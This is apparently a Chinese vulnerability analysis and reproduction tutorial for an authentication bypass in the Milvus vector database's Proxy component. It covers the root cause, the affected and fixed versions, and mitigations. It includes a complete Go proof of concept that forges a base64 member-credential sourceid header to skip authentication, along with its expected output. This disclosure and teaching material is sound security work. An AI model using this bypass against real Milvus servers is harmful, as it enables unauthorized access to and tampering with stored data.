CVE-2025-64513 Milvus Proxy认证绕过漏洞分析与复现教学文档<\/h1>

一、漏洞概述<\/h2>

1.1 漏洞基本信息<\/h3>

漏洞编号<\/strong>：CVE-2025-64513<\/li>
漏洞类型<\/strong>：认证绕过漏洞<\/li>
威胁等级<\/strong>：高危<\/li>

影响组件<\/strong>：Milvus Proxy组件<\/li> <\/ul>
1.2 漏洞背景<\/h3>
Milvus是面向生成式AI场景的开源向量数据库。在受影响版本中，Proxy组件存在认证逻辑缺陷，攻击者可通过伪造特定HTTP头部绕过认证机制，获得管理级访问权限。<\/p>
二、影响范围<\/h2>
2.1 受影响版本<\/h3>
以下Milvus版本均受到此漏洞影响：<\/p>

Milvus [2.4.0, 2.4.24)<\/li>
Milvus [2.5.0, 2.5.21)<\/li>
Milvus [2.6.0, 2.6.5)<\/li> <\/ul>
2.2 修复版本<\/h3>
建议用户升级至以下修复版本：<\/p>

2.4.24及以上版本<\/li>
2.5.21及以上版本<\/li>
2.6.5及以上版本<\/li> <\/ul>
三、漏洞技术分析<\/h2>
3.1 漏洞原理<\/h3>
3.1.1 认证逻辑缺陷<\/h4>
漏洞核心在于validSourceID<\/code>函数的实现逻辑存在缺陷：<\/p>
func<\/span> validSourceID<\/span>(ctx<\/span> context<\/span>.Context<\/span>, authorization<\/span> []string<\/span>) bool<\/span> { <\/span><\/span> if<\/span> len(authorization<\/span>) < 1<\/span> { <\/span><\/span> return<\/span> false<\/span> <\/span><\/span> } <\/span><\/span> <\/span><\/span> token<\/span> :=<\/span> authorization<\/span>[0<\/span>] <\/span><\/span> sourceID<\/span>, err<\/span> :=<\/span> crypto<\/span>.Base64Decode<\/span>(token<\/span>) <\/span><\/span> if<\/span> err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> return<\/span> false<\/span> <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> sourceID<\/span> ==<\/span> util<\/span>.MemberCredID<\/span> \/\/ 固定值"@@milvus-member@@" <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>3.1.2 鉴权流程缺陷<\/h4> 在AuthenticationInterceptor中的关键判断逻辑：<\/p> if<\/span> Params<\/span>.CommonCfg<\/span>.AuthorizationEnabled<\/span>.GetAsBool<\/span>() { <\/span><\/span> if<\/span> !validSourceID<\/span>(ctx<\/span>, md<\/span>[strings<\/span>.ToLower<\/span>(util<\/span>.HeaderSourceID<\/span>)]) { <\/span><\/span> \/\/ 执行正常用户鉴权（用户名密码\/API Key） <\/span><\/span><\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞触发条件<\/strong>：<\/p> 当validSourceID<\/code>返回true<\/code>时，系统将请求视为内部组件通信，直接跳过所有鉴权检查<\/li> 攻击者只需伪造包含base64编码的@@milvus-member@@<\/code>值的sourceId头部即可绕过认证<\/li> <\/ul> 3.2 修复方案分析<\/h3> 3.2.1 修复提交<\/h4> 官方修复commit：https:\/\/github.com\/milvus-io\/milvus\/commit\/e938bacf201319e843288537c03c7fe891e638ae<\/p> 3.2.2 修复措施<\/h4> 移除了基于sourceId的认证绕过逻辑<\/li> 所有请求必须通过正规的账号密码或API Key完成认证<\/li> 强化了认证机制的完整性和安全性<\/li> <\/ul> 四、环境搭建与复现<\/h2> 4.1 实验环境准备<\/h3> 4.1.1 系统要求<\/h4> Linux操作系统（推荐Ubuntu 18.04+）<\/li> Docker环境<\/li> Golang开发环境（用于编译POC）<\/li> <\/ul> 4.1.2 部署受影响版本<\/h4> 拉取部署脚本：<\/li> <\/ol> curl -sfL https:\/\/raw.githubusercontent.com\/milvus-io\/milvus\/master\/scripts\/standalone_embed.sh -o standalone_embed.sh <\/span><\/span><\/code><\/pre> 配置认证启用：创建user.yaml<\/code>配置文件：<\/li> <\/ol> common<\/span>: <\/span><\/span> security<\/span>: <\/span><\/span> authorizationEnabled<\/span>: true<\/span> <\/span><\/span><\/code><\/pre> 启动Milvus服务：<\/li> <\/ol> bash standalone_embed.sh start <\/span><\/span><\/code><\/pre>4.2 漏洞验证POC<\/h3> 4.2.1 POC代码实现<\/h4> package<\/span> main<\/span> <\/span><\/span> <\/span><\/span>import<\/span> ( <\/span><\/span> "context"<\/span> <\/span><\/span> "encoding\/base64"<\/span> <\/span><\/span> "flag"<\/span> <\/span><\/span> "fmt"<\/span> <\/span><\/span> "log"<\/span> <\/span><\/span> "strings"<\/span> <\/span><\/span> <\/span><\/span> "google.golang.org\/grpc"<\/span> <\/span><\/span> "google.golang.org\/grpc\/credentials\/insecure"<\/span> <\/span><\/span> "google.golang.org\/grpc\/metadata"<\/span> <\/span><\/span> milvuspb<\/span> "github.com\/milvus-io\/milvus-proto\/go-api\/v2\/milvuspb"<\/span> <\/span><\/span>) <\/span><\/span> <\/span><\/span>const<\/span> ( <\/span><\/span> memberCred<\/span> = "@@milvus-member@@"<\/span> <\/span><\/span> sourceIDKey<\/span> = "sourceid"<\/span> <\/span><\/span> defaultAddr<\/span> = "127.0.0.1:19530"<\/span> <\/span><\/span>) <\/span><\/span> <\/span><\/span>func<\/span> main<\/span>() { <\/span><\/span> addr<\/span> :=<\/span> flag<\/span>.String<\/span>("addr"<\/span>, defaultAddr<\/span>, "Milvus proxy gRPC address"<\/span>) <\/span><\/span> flag<\/span>.Parse<\/span>() <\/span><\/span> <\/span><\/span> \/\/ 建立gRPC连接 <\/span><\/span><\/span><\/span> conn<\/span>, err<\/span> :=<\/span> grpc<\/span>.Dial<\/span>(*<\/span>addr<\/span>, grpc<\/span>.WithTransportCredentials<\/span>(insecure<\/span>.NewCredentials<\/span>())) <\/span><\/span> if<\/span> err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> log<\/span>.Fatalf<\/span>("连接 Proxy 失败: %v"<\/span>, err<\/span>) <\/span><\/span> } <\/span><\/span> defer<\/span> conn<\/span>.Close<\/span>() <\/span><\/span> <\/span><\/span> client<\/span> :=<\/span> milvuspb<\/span>.NewMilvusServiceClient<\/span>(conn<\/span>) <\/span><\/span> ctx<\/span> :=<\/span> context<\/span>.Background<\/span>() <\/span><\/span> <\/span><\/span> \/\/ 生成伪造的认证令牌 <\/span><\/span><\/span><\/span> memberToken<\/span> :=<\/span> base64<\/span>.StdEncoding<\/span>.EncodeToString<\/span>([]byte(memberCred<\/span>)) <\/span><\/span> <\/span><\/span> \/\/ 测试用例定义 <\/span><\/span><\/span><\/span> testCases<\/span> :=<\/span> []struct<\/span> { <\/span><\/span> name<\/span> string<\/span> <\/span><\/span> call<\/span> func<\/span>(context<\/span>.Context<\/span>) (string<\/span>, error<\/span>) <\/span><\/span> }{ <\/span><\/span> { <\/span><\/span> name<\/span>: "获取版本信息"<\/span>, <\/span><\/span> call<\/span>: func<\/span>(c<\/span> context<\/span>.Context<\/span>) (string<\/span>, error<\/span>) { <\/span><\/span> resp<\/span>, err<\/span> :=<\/span> client<\/span>.GetVersion<\/span>(c<\/span>, &<\/span>milvuspb<\/span>.GetVersionRequest<\/span>{}) <\/span><\/span> if<\/span> err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> return<\/span> ""<\/span>, err<\/span> <\/span><\/span> } <\/span><\/span> return<\/span> resp<\/span>.GetVersion<\/span>(), nil<\/span> <\/span><\/span> }, <\/span><\/span> }, <\/span><\/span> { <\/span><\/span> name<\/span>: "检查服务健康状态"<\/span>, <\/span><\/span> call<\/span>: func<\/span>(c<\/span> context<\/span>.Context<\/span>) (string<\/span>, error<\/span>) { <\/span><\/span> resp<\/span>, err<\/span> :=<\/span> client<\/span>.CheckHealth<\/span>(c<\/span>, &<\/span>milvuspb<\/span>.CheckHealthRequest<\/span>{}) <\/span><\/span> if<\/span> err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> return<\/span> ""<\/span>, err<\/span> <\/span><\/span> } <\/span><\/span> return<\/span> fmt<\/span>.Sprintf<\/span>("healthy=%v reasons=%v"<\/span>, <\/span><\/span> resp<\/span>.GetIsHealthy<\/span>(), <\/span><\/span> strings<\/span>.Join<\/span>(resp<\/span>.GetReasons<\/span>(), ","<\/span>)), nil<\/span> <\/span><\/span> }, <\/span><\/span> }, <\/span><\/span> { <\/span><\/span> name<\/span>: "列出所有数据库"<\/span>, <\/span><\/span> call<\/span>: func<\/span>(c<\/span> context<\/span>.Context<\/span>) (string<\/span>, error<\/span>) { <\/span><\/span> resp<\/span>, err<\/span> :=<\/span> client<\/span>.ListDatabases<\/span>(c<\/span>, &<\/span>milvuspb<\/span>.ListDatabasesRequest<\/span>{}) <\/span><\/span> if<\/span> err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> return<\/span> ""<\/span>, err<\/span> <\/span><\/span> } <\/span><\/span> return<\/span> strings<\/span>.Join<\/span>(resp<\/span>.GetDbNames<\/span>(), ","<\/span>), nil<\/span> <\/span><\/span> }, <\/span><\/span> }, <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 执行测试用例 <\/span><\/span><\/span><\/span> for<\/span> _<\/span>, testCase<\/span> :=<\/span> range<\/span> testCases<\/span> { <\/span><\/span> log<\/span>.Printf<\/span>("=== 测试用例: %s ==="<\/span>, testCase<\/span>.name<\/span>) <\/span><\/span> <\/span><\/span> \/\/ 测试未认证访问 <\/span><\/span><\/span><\/span> log<\/span>.Printf<\/span>("[未认证] %s ..."<\/span>, testCase<\/span>.name<\/span>) <\/span><\/span> if<\/span> result<\/span>, err<\/span> :=<\/span> testCase<\/span>.call<\/span>(ctx<\/span>); err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> log<\/span>.Printf<\/span>(" 预期失败: %v"<\/span>, err<\/span>) <\/span><\/span> } else<\/span> { <\/span><\/span> log<\/span>.Printf<\/span>(" 警告：未认证调用意外成功: %s"<\/span>, result<\/span>) <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 测试认证绕过 <\/span><\/span><\/span><\/span> log<\/span>.Printf<\/span>("[伪造 sourceId] %s ..."<\/span>, testCase<\/span>.name<\/span>) <\/span><\/span> bypassCtx<\/span> :=<\/span> metadata<\/span>.AppendToOutgoingContext<\/span>(ctx<\/span>, sourceIDKey<\/span>, memberToken<\/span>) <\/span><\/span> if<\/span> result<\/span>, err<\/span> :=<\/span> testCase<\/span>.call<\/span>(bypassCtx<\/span>); err<\/span> !=<\/span> nil<\/span> { <\/span><\/span> log<\/span>.Fatalf<\/span>(" 绕过失败: %v"<\/span>, err<\/span>) <\/span><\/span> } else<\/span> { <\/span><\/span> log<\/span>.Printf<\/span>(" 绕过成功，返回: %s"<\/span>, result<\/span>) <\/span><\/span> } <\/span><\/span> <\/span><\/span> log<\/span>.Println<\/span>() <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.2.2 POC执行步骤<\/h4> 保存POC代码为CVE-2025-64513.go<\/code><\/p> <\/li> 安装依赖：<\/p> <\/li> <\/ol> go mod init cve-test <\/span><\/span>go get github.com\/milvus-io\/milvus-proto\/go-api\/v2\/milvuspb <\/span><\/span><\/code><\/pre> 运行POC：<\/li> <\/ol> go run CVE-2025-64513.go <\/span><\/span><\/code><\/pre>4.2.3 预期输出结果<\/h4> === 测试用例: 获取版本信息 === [未认证] 获取版本信息 ... 预期失败: rpc error: code = Unauthenticated desc = missing authorization in header [伪造 sourceId] 获取版本信息 ... 绕过成功，返回: 2.6.4 === 测试用例: 检查服务健康状态 === [未认证] 检查服务健康状态 ... 预期失败: rpc error: code = Unauthenticated desc = missing authorization in header [伪造 sourceId] 检查服务健康状态 ... 绕过成功，返回: healthy=true reasons= === 测试用例: 列出所有数据库 === [未认证] 列出所有数据库 ... 预期失败: rpc error: code = Unauthenticated desc = missing authorization in header [伪造 sourceId] 列出所有数据库 ... 绕过成功，返回: default <\/code><\/pre> 五、漏洞利用分析<\/h2> 5.1 攻击向量<\/h3> 攻击方式<\/strong>：gRAPI请求伪造<\/li> 利用条件<\/strong>：能够访问Milvus Proxy的19530端口<\/li> 所需信息<\/strong>：固定字符串@@milvus-member@@<\/code>的base64编码值<\/li> <\/ul> 5.2 潜在危害<\/h3> 数据泄露<\/strong>：未授权访问数据库内容<\/li> 数据篡改<\/strong>：恶意修改向量数据<\/li> 服务中断<\/strong>：执行管理操作导致服务不可用<\/li> 权限提升<\/strong>：获得系统管理权限<\/li> <\/ol> 六、防护措施<\/h2> 6.1 紧急缓解方案<\/h3> 立即升级到修复版本<\/li> 网络层面限制对19530端口的访问<\/li> 启用防火墙规则，只允许可信IP访问Milvus服务<\/li> <\/ol> 6.2 长期安全建议<\/h3> 定期更新Milvus到最新版本<\/li> 实施网络分段，隔离数据库服务<\/li> 启用审计日志，监控异常访问行为<\/li> 使用强密码策略和API Key轮换机制<\/li> <\/ol> 七、总结<\/h2> CVE-2025-64513是一个典型的设计缺陷导致的认证绕过漏洞，其根本原因在于将可控的输入直接用于身份验证决策。通过本教学文档的分析和复现，可以深入理解：<\/p> 认证机制的设计原则和常见陷阱<\/li> gRPC服务的安全配置要点<\/li> 漏洞挖掘和验证的方法论<\/li> <\/ol> 该案例提醒开发者在设计安全机制时，需要遵循最小权限原则和纵深防御策略，避免单一控制点的安全风险。<\/p>

CVE-2025-64513 Milvus Proxy认证绕过漏洞分析与复现教学文档<\/h1>

一、漏洞概述<\/h2>

1.2 漏洞背景<\/h3> Milvus是面向生成式AI场景的开源向量数据库。在受影响版本中，Proxy组件存在认证逻辑缺陷，攻击者可通过伪造特定HTTP头部绕过认证机制，获得管理级访问权限。<\/p>

二、影响范围<\/h2>

三、漏洞技术分析<\/h2>

3.1 漏洞原理<\/h3>

3.2 修复方案分析<\/h3>

3.2.1 修复提交<\/h4> 官方修复commit：https:\/\/github.com\/milvus-io\/milvus\/commit\/e938bacf201319e843288537c03c7fe891e638ae<\/p>

四、环境搭建与复现<\/h2>

4.1 实验环境准备<\/h3>

4.2 漏洞验证POC<\/h3>

五、漏洞利用分析<\/h2>

六、防护措施<\/h2>

1.2 漏洞背景<\/h3>
Milvus是面向生成式AI场景的开源向量数据库。在受影响版本中，Proxy组件存在认证逻辑缺陷，攻击者可通过伪造特定HTTP头部绕过认证机制，获得管理级访问权限。<\/p>

3.2.1 修复提交<\/h4>
官方修复commit：https:\/\/github.com\/milvus-io\/milvus\/commit\/e938bacf201319e843288537c03c7fe891e638ae<\/p>